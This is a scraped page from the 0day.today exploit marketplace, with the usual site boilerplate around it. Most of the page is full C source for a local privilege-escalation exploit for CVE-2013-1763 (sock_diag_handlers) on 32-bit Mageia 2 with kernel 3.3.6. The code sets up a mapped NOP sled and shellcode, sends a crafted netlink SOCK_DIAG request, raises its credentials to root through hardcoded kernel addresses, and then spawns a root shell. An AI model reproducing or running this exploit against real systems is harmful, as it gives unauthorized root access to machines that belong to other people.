0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Mageia release 2 (32bit) sock_diag_handlers Local root exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
/* Exploit Title: Mageia release 2 (32bit) sock_diag_handlers Local root exploit Date: 22-03-2013 Exploit Author: y3dips@echo.or.id | @y3dips Vendor Homepage: http://www.mageia.org/en/ Software Link: http://www.mageia.org/en/downloads/ Version: Mageia release 2 Kernel 3.3.6-desktop586-2.mga2 i686 Tested on: Mageia release 2 Kernel 3.3.6-desktop586-2.mga2 i686 CVE : 2013-1763 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) kcode() { commit_creds(prepare_kernel_cred(0)); return -1; } char loncat[] = "\x55\x89\xe5\xb8\x3c\x87\x04\x08\xff\xd0\x5d\xc3\x55\x89\xe5\x81\xec\x58\x02"; /*asm("mov $kcode, %eax; call %eax");*/ int trigger() { int socks; unsigned long mmap_start = 0x10000; unsigned long mmap_size= 0x120000; void *payload; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; socks = socket(PF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG); if (socks < 0) { printf("[+] Can't create sock diag socket...\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_REQUEST; req.r.sdiag_family = 185; /*nl_table-sock_diag_handlers/4*/ payload=mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0); if ((long)payload == -1) { printf("[+] Failed to mmap() at target.\n"); return -1; } *(unsigned long *)&loncat[4] =(unsigned long)kcode; memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(loncat), loncat, sizeof(loncat)); send(socks, &req, sizeof(req), 0); } int main() { printf("[+] Mageia release 2 (32bit) sock_diag_handlers Local root exploit\n"); /* Mageia release 2 Kernel 3.3.6-desktop586-2.mga2 i686*/ commit_creds = (_commit_creds) 0xc0159cd0; prepare_kernel_cred = (_prepare_kernel_cred) 0xc0159ed0; printf("[+] Triggering payload and Exploiting Sockz...\n"); trigger(); if(getuid()) { printf("[+] Exploit Failed...\n"); return -1; } printf("[+] Got root!...\n"); execl("/bin/sh", "/bin/sh", NULL); } # 0day.today [2024-07-08] #